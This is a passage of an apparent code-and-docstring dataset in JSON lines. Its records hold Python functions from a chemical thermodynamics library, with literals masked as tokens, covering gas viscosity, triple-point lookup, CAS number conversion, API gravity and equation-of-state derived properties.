self.tabular_data:<EOL><INDENT>mu = self.interpolate(T, method)<EOL><DEDENT>return mu<EOL>", "docstring": "r'''Method to calculate low-pressure gas viscosity at\n        tempearture `T` with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature of the gas, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        mu : float\n            Viscosity of the gas at T and a low pressure, [Pa*S]", "id": "f15804:c2:m2"}
{"signature": "def calculate_P(self, T, P, method):", "body": "if method == COOLPROP:<EOL><INDENT>mu = PropsSI('<STR_LIT>', '<STR_LIT:T>', T, '<STR_LIT:P>', P, self.CASRN)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>mu = self.interpolate_P(T, P, method)<EOL><DEDENT>return mu<EOL>", "docstring": "r'''Method to calculate pressure-dependent gas viscosity\n        at temperature `T` and pressure `P` with a given method.\n\n        This method has no exception handling; see `TP_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate gas viscosity, [K]\n        P : float\n            Pressure at which to calculate gas viscosity, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        mu : float\n            Viscosity of the gas at T and P, [Pa*]", "id": "f15804:c2:m4"}
{"signature": "def load_all_methods(self):", "body": "methods = [SIMPLE]        <EOL>if none_and_length_check((self.MWs, self.molecular_diameters, self.Stockmayers)):<EOL><INDENT>methods.append(BROKAW)<EOL><DEDENT>if none_and_length_check([self.MWs]):<EOL><INDENT>methods.extend([WILKE, HERNING_ZIPPERER])<EOL><DEDENT>self.all_methods = set(methods)<EOL>Tmins = [i.Tmin for i in self.ViscosityGases if i.Tmin]<EOL>Tmaxs = [i.Tmax for i in self.ViscosityGases if i.Tmax]<EOL>if Tmins:<EOL><INDENT>self.Tmin = max(Tmins)<EOL><DEDENT>if Tmaxs:<EOL><INDENT>self.Tmax = max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method to initialize the object by precomputing any values which\n        may be used repeatedly and by retrieving mixture-specific variables.\n        All data are stored as attributes. This method also sets :obj:`Tmin`, \n        :obj:`Tmax`, and :obj:`all_methods` as a set of methods which should \n        work to calculate the property.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15804:c3:m1"}
{"signature": "def calculate(self, T, P, zs, ws, method):", "body": "if method == SIMPLE:<EOL><INDENT>mus = [i(T, P) for i in self.ViscosityGases]<EOL>return mixing_simple(zs, mus)<EOL><DEDENT>elif method == HERNING_ZIPPERER:<EOL><INDENT>mus = [i(T, P) for i in self.ViscosityGases]<EOL>return Herning_Zipperer(zs, mus, self.MWs)<EOL><DEDENT>elif method == WILKE:<EOL><INDENT>mus = [i(T, P) for i in self.ViscosityGases]<EOL>return Wilke(zs, mus, self.MWs)<EOL><DEDENT>elif method == BROKAW:<EOL><INDENT>mus = [i(T, P) for i in self.ViscosityGases]<EOL>return Brokaw(T, zs, mus, self.MWs, self.molecular_diameters, self.Stockmayers)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate viscosity of a gas mixture at \n        temperature `T`, pressure `P`, mole fractions `zs` and weight fractions\n        `ws` with a given method.\n\n        This method has no exception handling; see `mixture_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        mu : float\n            Viscosity of gas mixture, [Pa*s]", "id": "f15804:c3:m2"}
{"signature": "def Tt(CASRN, AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in Staveley_data.index:<EOL><INDENT>methods.append(STAVELEY)<EOL><DEDENT>if Tm(CASRN):<EOL><INDENT>methods.append(MELTING)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == STAVELEY:<EOL><INDENT>Tt = Staveley_data.at[CASRN, \"<STR_LIT>\"]<EOL><DEDENT>elif Method == MELTING:<EOL><INDENT>Tt = Tm(CASRN)<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>Tt = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return Tt<EOL>", "docstring": "r'''This function handles the retrieval of a chemical's triple temperature.\n    Lookup is based on CASRNs. Will automatically select a data source to use\n    if no Method is provided; returns None if the data is not available.\n\n    Returns data from [1]_, or a chemical's melting point if available.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Tt : float\n        Triple point temperature, [K]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Tt with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        Tt_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        the Tt for the desired chemical, and will return methods\n        instead of the Tt\n\n    Notes\n    -----\n    Median difference between melting points and triple points is 0.02 K.\n    Accordingly, this should be more than good enough for engineering\n    applications.\n\n    Temperatures are on the ITS-68 scale.\n\n    Examples\n    --------\n    Ammonia\n\n    >>> Tt('7664-41-7')\n    195.47999999999999\n\n    References\n    ----------\n    .. [1] Staveley, L. A. K., L. Q. Lobo, and J. C. G. Calado. \"Triple-Points\n       of Low Melting Substances and Their Use in Cryogenic Work.\" Cryogenics\n       21, no. 3 (March 1981): 131-144. doi:10.1016/0011-2275(81)90264-2.", "id": "f15805:m0"}
{"signature": "def Pt(CASRN, AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in Staveley_data.index and not np.isnan(Staveley_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(STAVELEY)<EOL><DEDENT>if Tt(CASRN) and VaporPressure(CASRN=CASRN).T_dependent_property(T=Tt(CASRN)):<EOL><INDENT>methods.append(DEFINITION)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == STAVELEY:<EOL><INDENT>Pt = Staveley_data.at[CASRN, '<STR_LIT>']<EOL><DEDENT>elif Method == DEFINITION:<EOL><INDENT>Pt = VaporPressure(CASRN=CASRN).T_dependent_property(T=Tt(CASRN))<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>Pt = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return Pt<EOL>", "docstring": "r'''This function handles the retrieval of a chemical's triple pressure.\n    Lookup is based on CASRNs. Will automatically select a data source to use\n    if no Method is provided; returns None if the data is not available.\n\n    Returns data from [1]_, or attempts to calculate the vapor pressure at the\n    triple temperature, if data is available.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Pt : float\n        Triple point pressure, [Pa]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Pt with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        Pt_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        the Pt for the desired chemical, and will return methods\n        instead of the Pt\n\n    Notes\n    -----\n\n    Examples\n    --------\n    Ammonia\n\n    >>> Pt('7664-41-7')\n    6079.5\n\n    References\n    ----------\n    .. [1] Staveley, L. A. K., L. Q. Lobo, and J. C. G. Calado. \"Triple-Points\n       of Low Melting Substances and Their Use in Cryogenic Work.\" Cryogenics\n       21, no. 3 (March 1981): 131-144. doi:10.1016/0011-2275(81)90264-2.", "id": "f15805:m1"}
{"signature": "def to_num(values):", "body": "for i in range(len(values)):<EOL><INDENT>try:<EOL><INDENT>values[i] = float(values[i])<EOL><DEDENT>except:<EOL><INDENT>if values[i] == '<STR_LIT>':<EOL><INDENT>values[i] = None<EOL><DEDENT>else:<EOL><INDENT>values[i] = values[i].strip()<EOL>pass<EOL><DEDENT><DEDENT><DEDENT>return values<EOL>", "docstring": "r'''Legacy function to turn a list of strings into either floats\n    (if numeric), stripped strings (if not) or None if the string is empty.\n    Accepts any numeric formatting the float function does.\n\n    Parameters\n    ----------\n    values : list\n        list of strings\n\n    Returns\n    -------\n    values : list\n        list of floats, strings, and None values [-]\n\n    Examples\n    --------\n    >>> to_num(['1', '1.1', '1E5', '0xB4', ''])\n    [1.0, 1.1, 100000.0, '0xB4', None]", "id": "f15806:m0"}
{"signature": "def CAS2int(i):", "body": "return int(i.replace('<STR_LIT:->', '<STR_LIT>'))<EOL>", "docstring": "r'''Converts CAS number of a compounds from a string to an int. This is\n    helpful when storing large amounts of CAS numbers, as their strings take up\n    more memory than their numerical representational. All CAS numbers fit into\n    64 bit ints.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    CASRN : int\n        CASRN [-]\n\n    Notes\n    -----\n    Accomplishes conversion by removing dashes only, and then converting to an\n    int. An incorrect CAS number will change without exception.\n\n    Examples\n    --------\n    >>> CAS2int('7704-34-9')\n    7704349", "id": "f15806:m1"}
{"signature": "def int2CAS(i):", "body": "i = str(i)<EOL>return i[:-<NUM_LIT:3>]+'<STR_LIT:->'+i[-<NUM_LIT:3>:-<NUM_LIT:1>]+'<STR_LIT:->'+i[-<NUM_LIT:1>]<EOL>", "docstring": "r'''Converts CAS number of a compounds from an int to an string. This is\n    helpful when dealing with int CAS numbers.\n\n    Parameters\n    ----------\n    CASRN : int\n        CASRN [-]\n\n    Returns\n    -------\n    CASRN : string\n        CASRN [-]\n\n    Notes\n    -----\n    Handles CAS numbers with an unspecified number of digits. Does not work on\n    floats.\n\n    Examples\n    --------\n    >>> int2CAS(7704349)\n    '7704-34-9'", "id": "f15806:m2"}
{"signature": "def Parachor(MW, rhol, rhog, sigma):", "body": "rhol, rhog = rhol*<NUM_LIT>, rhog*<NUM_LIT> <EOL>return sigma**<NUM_LIT>*MW/(rhol-rhog)<EOL>", "docstring": "r'''Calculate Parachor for a pure species, using its density in the\n    liquid and gas phases, surface tension, and molecular weight.\n\n    .. math::\n        P = \\frac{\\sigma^{0.25} MW}{\\rho_L - \\rho_V}\n\n    Parameters\n    ----------\n    MW : float\n        Molecular weight, [g/mol]\n    rhol : float\n        Liquid density [kg/m^3]\n    rhog : float\n        Gas density [kg/m^3]\n    sigma : float\n        Surface tension, [N/m]\n\n    Returns\n    -------\n    P : float\n        Parachor, [N^0.25*m^2.75/mol]\n\n    Notes\n    -----\n    To convert the output of this function to units of [mN^0.25*m^2.75/kmol], \n    multiply by 5623.4132519.\n\n    Values in group contribution tables for Parachor are often listed as \n    dimensionless, in which they are multiplied by 5623413 and the appropriate\n    units to make them dimensionless.\n\n    Examples\n    --------\n    Calculating Parachor from a known surface tension for methyl isobutyl \n    ketone at 293.15 K\n\n    >>> Parachor(100.15888, 800.8088185536124, 4.97865317223119, 0.02672166960656005)\n    5.088443542210164e-05\n\n    Converting to the `dimensionless` form:\n\n    >>> 5623413*5.088443542210164e-05\n    286.14419565030687\n\n    Compared to 274.9 according to a group contribution method described in\n    [3]_.\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.\n    .. [2] Green, Don, and Robert Perry. Perry's Chemical Engineers' Handbook,\n       8E. McGraw-Hill Professional, 2007.\n    .. [3] Danner, Ronald P, and Design Institute for Physical Property Data.\n       Manual for Predicting Chemical Process Design Data. New York, N.Y, 1982.", "id": "f15806:m3"}
{"signature": "def SG_to_API(SG):", "body": "return <NUM_LIT>/SG - <NUM_LIT><EOL>", "docstring": "r'''Calculates specific gravity of a liquid given its API, as shown in\n    [1]_.\n\n    .. math::\n        \\text{API gravity} = \\frac{141.5}{\\text{SG}} - 131.5\n\n    Parameters\n    ----------\n    SG : float\n        Specific gravity of the fluid at 60 degrees Farenheight [-]\n\n    Returns\n    -------\n    API : float\n        API of the fluid [-]\n\n    Notes\n    -----\n    Defined only at 60 degrees Fahrenheit.\n\n    Examples\n    --------\n    >>> SG_to_API(0.7365)\n    60.62491513917175\n\n    References\n    ----------\n    .. [1] API Technical Data Book: General Properties & Characterization.\n    American Petroleum Institute, 7E, 2005.", "id": "f15806:m6"}
{"signature": "def API_to_SG(API):", "body": "return <NUM_LIT>/(API + <NUM_LIT>)<EOL>", "docstring": "r'''Calculates API of a liquid given its specific gravity, as shown in\n    [1]_.\n\n    .. math::\n        \\text{SG at}~60^\\circ\\text{F} = \\frac{141.5}{\\text{API gravity} +131.5}\n\n    Parameters\n    ----------\n    API : float\n        API of the fluid [-]\n\n    Returns\n    -------\n    SG : float\n        Specific gravity of the fluid at 60 degrees Farenheight [-]\n\n    Notes\n    -----\n    Defined only at 60 degrees Fahrenheit.\n\n    Examples\n    --------\n    >>> API_to_SG(60.62)\n    0.7365188423901728\n\n    References\n    ----------\n    .. [1] API Technical Data Book: General Properties & Characterization.\n    American Petroleum Institute, 7E, 2005.", "id": "f15806:m7"}
{"signature": "def SG(rho, rho_ref=<NUM_LIT>):", "body": "return rho/rho_ref<EOL>", "docstring": "r'''Calculates the specific gravity of a substance with respect to another\n    substance; by default, this is water at 15.6 \u00b0C (60 \u00b0F). For gases, \n    normally the reference density is 1.2 kg/m^3, that of dry air. However, in \n    general specific gravity should always be specified with respect to the\n    temperature and pressure of its reference fluid. This can vary widely.\n\n    .. math::\n        SG = \\frac{\\rho}{\\rho_{ref}}\n\n    Parameters\n    ----------\n    rho : float\n        Density of the substance, [kg/m^3]\n    rho_ref : float, optional\n        Density of the reference substance, [kg/m^3]\n\n    Returns\n    -------\n    SG : float\n        Specific gravity of the substance with respect to the reference \n        density, [-]\n\n    Notes\n    -----\n    Another common reference point is water at 4\u00b0C (rho_ref=999.9748691393087).\n    Specific gravity is often used by consumers instead of density.\n    The reference for solids is normally the same as for liquids - water.\n\n    Examples\n    --------\n    >>> SG(860)\n    0.8608461408159591", "id": "f15806:m8"}
{"signature": "def isobaric_expansion(V, dV_dT):", "body": "return dV_dT/V<EOL>", "docstring": "r'''Calculate the isobaric coefficient of a thermal expansion, given its \n    molar volume at a certain `T` and `P`, and its derivative of molar volume\n    with respect to `T`.\n\n    .. math::\n        \\beta = \\frac{1}{V}\\left(\\frac{\\partial V}{\\partial T} \\right)_P\n\n    Parameters\n    ----------\n    V : float\n        Molar volume at `T` and `P`, [m^3/mol]\n    dV_dT : float\n        Derivative of molar volume with respect to `T`, [m^3/mol/K]\n\n    Returns\n    -------\n    beta : float\n        Isobaric coefficient of a thermal expansion, [1/K]\n\n    Notes\n    -----\n    For an ideal gas, this expression simplified to:\n\n    .. math::\n        \\beta = \\frac{1}{T}\n\n    Examples\n    --------\n    Calculated for hexane from the PR EOS at 299 K and 1 MPa (liquid):\n\n    >>> isobaric_expansion(0.000130229900873546, 1.58875261849113e-7)\n    0.0012199599384121608\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15806:m9"}
{"signature": "def isothermal_compressibility(V, dV_dP):", "body": "return -dV_dP/V<EOL>", "docstring": "r'''Calculate the isothermal coefficient of a compressibility, given its \n    molar volume at a certain `T` and `P`, and its derivative of molar volume\n    with respect to `P`.\n\n    .. math::\n        \\kappa = -\\frac{1}{V}\\left(\\frac{\\partial V}{\\partial P} \\right)_T\n\n    Parameters\n    ----------\n    V : float\n        Molar volume at `T` and `P`, [m^3/mol]\n    dV_dP : float\n        Derivative of molar volume with respect to `P`, [m^3/mol/Pa]\n\n    Returns\n    -------\n    kappa : float\n        Isothermal coefficient of a compressibility, [1/Pa]\n\n    Notes\n    -----\n    For an ideal gas, this expression simplified to:\n\n    .. math::\n        \\kappa = \\frac{1}{P}\n\n    Examples\n    --------\n    Calculated for hexane from the PR EOS at 299 K and 1 MPa (liquid):\n\n    >>> isothermal_compressibility(0.000130229900873546, -2.72902118209903e-13)\n    2.095541165119158e-09\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15806:m10"}
{"signature": "def phase_identification_parameter(V, dP_dT, dP_dV, d2P_dV2, d2P_dVdT):", "body": "return V*(d2P_dVdT/dP_dT - d2P_dV2/dP_dV)<EOL>", "docstring": "r'''Calculate the Phase Identification Parameter developed in [1]_ for\n    the accurate and efficient determination of whether a fluid is a liquid or\n    a gas based on the results of an equation of state. For supercritical \n    conditions, this provides a good method for choosing which property \n    correlations to use.\n\n    .. math::\n        \\Pi = V \\left[\\frac{\\frac{\\partial^2 P}{\\partial V \\partial T}}\n        {\\frac{\\partial P }{\\partial T}}- \\frac{\\frac{\\partial^2 P}{\\partial \n        V^2}}{\\frac{\\partial P}{\\partial V}} \\right]\n\n    Parameters\n    ----------\n    V : float\n        Molar volume at `T` and `P`, [m^3/mol]\n    dP_dT : float\n        Derivative of `P` with respect to `T`, [Pa/K]\n    dP_dV : float\n        Derivative of `P` with respect to `V`, [Pa*mol/m^3]\n    d2P_dV2 : float\n        Second derivative of `P` with respect to `V`, [Pa*mol^2/m^6]\n    d2P_dVdT : float\n        Second derivative of `P` with respect to both `V` and `T`, [Pa*mol/m^3/K]\n\n    Returns\n    -------\n    PIP : float\n        Phase Identification Parameter, [-]\n\n    Notes\n    -----\n    Heuristics were used by process simulators before the invent of this \n    parameter. \n\n    The criteria for liquid is Pi > 1; for vapor, Pi <= 1.\n\n    There is also a solid phase mechanism available. For solids, the Solid  \n    Phase Identification Parameter is greater than 1, like liquids; however,  \n    unlike liquids, d2P_dVdT is always >0; it is < 0 for liquids and gases.\n\n    Examples\n    --------\n    Calculated for hexane from the PR EOS at 299 K and 1 MPa (liquid):\n\n    >>> phase_identification_parameter(0.000130229900874, 582169.397484, \n    ... -3.66431747236e+12, 4.48067893805e+17, -20518995218.2)\n    11.33428990564796\n\n    References\n    ----------\n    .. [1] Venkatarathnam, G., and L. R. Oellrich. \"Identification of the Phase\n       of a Fluid Using Partial Derivatives of Pressure, Volume, and \n       Temperature without Reference to Saturation Properties: Applications in \n       Phase Equilibria Calculations.\" Fluid Phase Equilibria 301, no. 2 \n       (February 25, 2011): 225-33. doi:10.1016/j.fluid.2010.12.001.\n    .. [2] Jayanti, Pranava Chaitanya, and G. Venkatarathnam. \"Identification\n       of the Phase of a Substance from the Derivatives of Pressure, Volume and\n       Temperature, without Prior Knowledge of Saturation Properties: Extension\n       to Solid Phase.\" Fluid Phase Equilibria 425 (October 15, 2016): 269-277.\n       doi:10.1016/j.fluid.2016.06.001.", "id": "f15806:m11"}
{"signature": "def phase_identification_parameter_phase(d2P_dVdT, V=None, dP_dT=None, dP_dV=None, d2P_dV2=None):", "body": "if d2P_dVdT > <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT:s>'<EOL><DEDENT>else:<EOL><INDENT>PIP = phase_identification_parameter(V=V, dP_dT=dP_dT, dP_dV=dP_dV, <EOL>d2P_dV2=d2P_dV2, d2P_dVdT=d2P_dVdT)<EOL>return '<STR_LIT:l>' if PIP > <NUM_LIT:1> else '<STR_LIT:g>'<EOL><DEDENT>", "docstring": "r'''Uses the Phase Identification Parameter concept developed in [1]_ and \n    [2]_ to determine if a chemical is a solid, liquid, or vapor given the \n    appropriate thermodynamic conditions.\n\n    The criteria for liquid is PIP > 1; for vapor, PIP <= 1.\n\n    For solids, PIP(solid) is defined to be d2P_dVdT. If it is larger than 0, \n    the species is a solid. It is less than 0 for all liquids and gases.\n\n    Parameters\n    ----------\n    d2P_dVdT : float\n        Second derivative of `P` with respect to both `V` and `T`, [Pa*mol/m^3/K]\n    V : float, optional\n        Molar volume at `T` and `P`, [m^3/mol]\n    dP_dT : float, optional\n        Derivative of `P` with respect to `T`, [Pa/K]\n    dP_dV : float, optional\n        Derivative of `P` with respect to `V`, [Pa*mol/m^3]\n    d2P_dV2 : float, optionsl\n        Second derivative of `P` with respect to `V`, [Pa*mol^2/m^6]\n\n    Returns\n    -------\n    phase : str\n        Either 's', 'l' or 'g'\n\n    Notes\n    -----\n    The criteria for being a solid phase is checked first, which only\n    requires d2P_dVdT. All other inputs are optional for this reason.\n    However, an exception will be raised if the other inputs become \n    needed to determine if a species is a liquid or a gas.\n\n    Examples\n    --------\n    Calculated for hexane from the PR EOS at 299 K and 1 MPa (liquid):\n\n    >>> phase_identification_parameter_phase(-20518995218.2, 0.000130229900874, \n    ... 582169.397484, -3.66431747236e+12, 4.48067893805e+17)\n    'l'\n\n    References\n    ----------\n    .. [1] Venkatarathnam, G., and L. R. Oellrich. \"Identification of the Phase\n       of a Fluid Using Partial Derivatives of Pressure, Volume, and \n       Temperature without Reference to Saturation Properties: Applications in \n       Phase Equilibria Calculations.\" Fluid Phase Equilibria 301, no. 2 \n       (February 25, 2011): 225-33. doi:10.1016/j.fluid.2010.12.001.\n    .. [2] Jayanti, Pranava Chaitanya, and G. Venkatarathnam. \"Identification\n       of the Phase of a Substance from the Derivatives of Pressure, Volume and\n       Temperature, without Prior Knowledge of Saturation Properties: Extension\n       to Solid Phase.\" Fluid Phase Equilibria 425 (October 15, 2016): 269-277.\n       doi:10.1016/j.fluid.2016.06.001.", "id": "f15806:m12"}
{"signature": "def Cp_minus_Cv(T, dP_dT, dP_dV):", "body": "return -T*dP_dT**<NUM_LIT:2>/dP_dV<EOL>", "docstring": "r'''Calculate the difference between a real gas's constant-pressure heat\n    capacity and constant-volume heat capacity, as given in [1]_, [2]_, and\n    [3]_. The required derivatives should be calculated with an equation of\n    state.\n\n    .. math::\n        C_p - C_v = -T\\left(\\frac{\\partial P}{\\partial T}\\right)_V^2/\n        \\left(\\frac{\\partial P}{\\partial V}\\right)_T\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    dP_dT : float\n        Derivative of `P` with respect to `T`, [Pa/K]\n    dP_dV : float\n        Derivative of `P` with respect to `V`, [Pa*mol/m^3]\n\n    Returns\n    -------\n    Cp_minus_Cv : float\n        Cp - Cv for a real gas, [J/mol/K]\n\n    Notes\n    -----\n    Equivalent expressions are:\n\n    .. math::\n        C_p - C_v= -T\\left(\\frac{\\partial V}{\\partial T}\\right)_P^2/\\left(\n        \\frac{\\partial V}{\\partial P}\\right)_T\n\n        C_p - C_v = T\\left(\\frac{\\partial P}{\\partial T}\\right)\n        \\left(\\frac{\\partial V}{\\partial T}\\right)\n\n    Note that these are not second derivatives, only first derivatives, some\n    of which are squared.\n\n    Examples\n    --------\n    Calculated for hexane from the PR EOS at 299 K and 1 MPa (liquid):\n\n    >>> Cp_minus_Cv(299, 582232.475794113, -3665180614672.253)\n    27.654681381642394\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.\n    .. [2] Walas, Stanley M. Phase Equilibria in Chemical Engineering. \n       Butterworth-Heinemann, 1985.\n    .. [3] Gmehling, Jurgen, Barbel Kolbe, Michael Kleiber, and Jurgen Rarey.\n       Chemical Thermodynamics for Process Simulation. 1st edition. Weinheim: \n       Wiley-VCH, 2012.", "id": "f15806:m13"}
{"signature": "def speed_of_sound(V, dP_dV, Cp, Cv, MW=None):", "body": "if not MW:<EOL><INDENT>return (-V**<NUM_LIT:2>*dP_dV*Cp/Cv)**<NUM_LIT:0.5><EOL><DEDENT>else:<EOL><INDENT>return (-V**<NUM_LIT:2>*<NUM_LIT>/MW*dP_dV*Cp/Cv)**<NUM_LIT:0.5><EOL><DEDENT>", "docstring": "r'''Calculate a real fluid's speed of sound. The required derivatives should \n    be calculated with an equation of state, and `Cp` and `Cv` are both the\n    real fluid versions. Expression is given in [1]_ and [2]_; a unit conversion\n    is further performed to obtain a result in m/s. If MW is not provided the \n    result is returned in units of m*kg^0.5/s/mol^0.5.\n\n    .. math::\n        w = \\left[-V^2 \\left(\\frac{\\partial P}{\\partial V}\\right)_T \\frac{C_p}\n        {C_v}\\right]^{1/2}\n\n    Parameters\n    ----------\n    V : float\n        Molar volume of fluid, [m^3/mol]\n    dP_dV : float\n        Derivative of `P` with respect to `V`, [Pa*mol/m^3]\n    Cp : float\n        Real fluid heat capacity at constant pressure, [J/mol/K]\n    Cv : float\n        Real fluid heat capacity at constant volume, [J/mol/K]\n    MW : float, optional\n        Molecular weight, [g/mol]\n\n    Returns\n    -------\n    w : float\n        Speed of sound for a real gas, [m/s or m*kg^0.5/s/mol^0.5 or MW missing]\n\n    Notes\n    -----\n    An alternate expression based on molar density is as follows:\n\n    .. math::\n       w = \\left[\\left(\\frac{\\partial P}{\\partial \\rho}\\right)_T \\frac{C_p}\n       {C_v}\\right]^{1/2}\n\n    The form with the unit conversion performed inside it is as follows:\n\n    .. math::\n        w = \\left[-V^2 \\frac{1000}{MW}\\left(\\frac{\\partial P}{\\partial V}\n        \\right)_T \\frac{C_p}{C_v}\\right]^{1/2}\n\n    Examples\n    --------\n    Example from [2]_:\n\n    >>> speed_of_sound(V=0.00229754, dP_dV=-3.5459e+08, Cp=153.235, Cv=132.435, MW=67.152)\n    179.5868138460819\n\n    References\n    ----------\n    .. [1] Gmehling, Jurgen, Barbel Kolbe, Michael Kleiber, and Jurgen Rarey.\n       Chemical Thermodynamics for Process Simulation. 1st edition. Weinheim: \n       Wiley-VCH, 2012.\n    .. [2] Pratt, R. M. \"Thermodynamic Properties Involving Derivatives: Using \n       the Peng-Robinson Equation of State.\" Chemical Engineering Education 35,\n       no. 2 (March 1, 2001): 112-115.", "id": "f15806:m14"}
{"signature": "def Joule_Thomson(T, V, Cp, dV_dT=None, beta=None):", "body": "if dV_dT:<EOL><INDENT>return (T*dV_dT - V)/Cp<EOL><DEDENT>elif beta:<EOL><INDENT>return V/Cp*(beta*T - <NUM_LIT:1.>)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Calculate a real fluid's Joule Thomson coefficient. The required \n    derivative should be calculated with an equation of state, and `Cp` is the\n    real fluid versions. This can either be calculated with `dV_dT` directly, \n    or with `beta` if it is already known.\n\n    .. math::\n        \\mu_{JT} = \\left(\\frac{\\partial T}{\\partial P}\\right)_H = \\frac{1}{C_p}\n        \\left[T \\left(\\frac{\\partial V}{\\partial T}\\right)_P - V\\right]\n        = \\frac{V}{C_p}\\left(\\beta T-1\\right)\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid, [K]\n    V : float\n        Molar volume of fluid, [m^3/mol]\n    Cp : float\n        Real fluid heat capacity at constant pressure, [J/mol/K]\n    dV_dT : float, optional\n        Derivative of `V` with respect to `T`, [m^3/mol/K]\n    beta : float, optional\n        Isobaric coefficient of a thermal expansion, [1/K]\n\n    Returns\n    -------\n    mu_JT : float\n        Joule-Thomson coefficient [K/Pa]\n\n    Examples\n    --------\n    Example from [2]_:\n\n    >>> Joule_Thomson(T=390, V=0.00229754, Cp=153.235, dV_dT=1.226396e-05)\n    1.621956080529905e-05\n\n    References\n    ----------\n    .. [1] Walas, Stanley M. Phase Equilibria in Chemical Engineering. \n       Butterworth-Heinemann, 1985.\n    .. [2] Pratt, R. M. \"Thermodynamic Properties Involving Derivatives: Using \n       the Peng-Robinson Equation of State.\" Chemical Engineering Education 35,\n       no. 2 (March 1, 2001): 112-115.", "id": "f15806:m15"}
{"signature": "def isentropic_exponent(Cp, Cv):", "body": "return Cp/Cv<EOL>", "docstring": "r'''Calculate the isentropic coefficient of a gas, given its constant-\n    pressure and constant-volume heat capacity.\n\n    .. math::\n        k = \\frac{C_p}{C_v}\n\n    Parameters\n    ----------\n    Cp : float\n        Gas heat capacity at constant pressure, [J/mol/K]\n    Cv : float\n        Gas heat capacity at constant volume, [J/mol/K]\n\n    Returns\n    -------\n    k : float\n        Isentropic exponent, [-]\n\n    Examples\n    --------\n    >>> isentropic_exponent(33.6, 25.27)\n    1.329639889196676\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15806:m16"}
{"signature": "def Vm_to_rho(Vm, MW):", "body": "return (Vm)**-<NUM_LIT:1>*MW/<NUM_LIT><EOL>", "docstring": "r'''Calculate the density of a chemical, given its molar volume and\n    molecular weight.\n\n    .. math::\n        \\rho = \\frac{MW}{1000\\cdot VM}\n\n    Parameters\n    ----------\n    Vm : float\n        Molar volume, [m^3/mol]\n    MW : float\n        Molecular weight, [g/mol]\n\n    Returns\n    -------\n    rho : float\n        Density, [kg/m^3]\n\n    Examples\n    --------\n    >>> Vm_to_rho(0.000132, 86.18)\n    652.8787878787879\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15806:m17"}
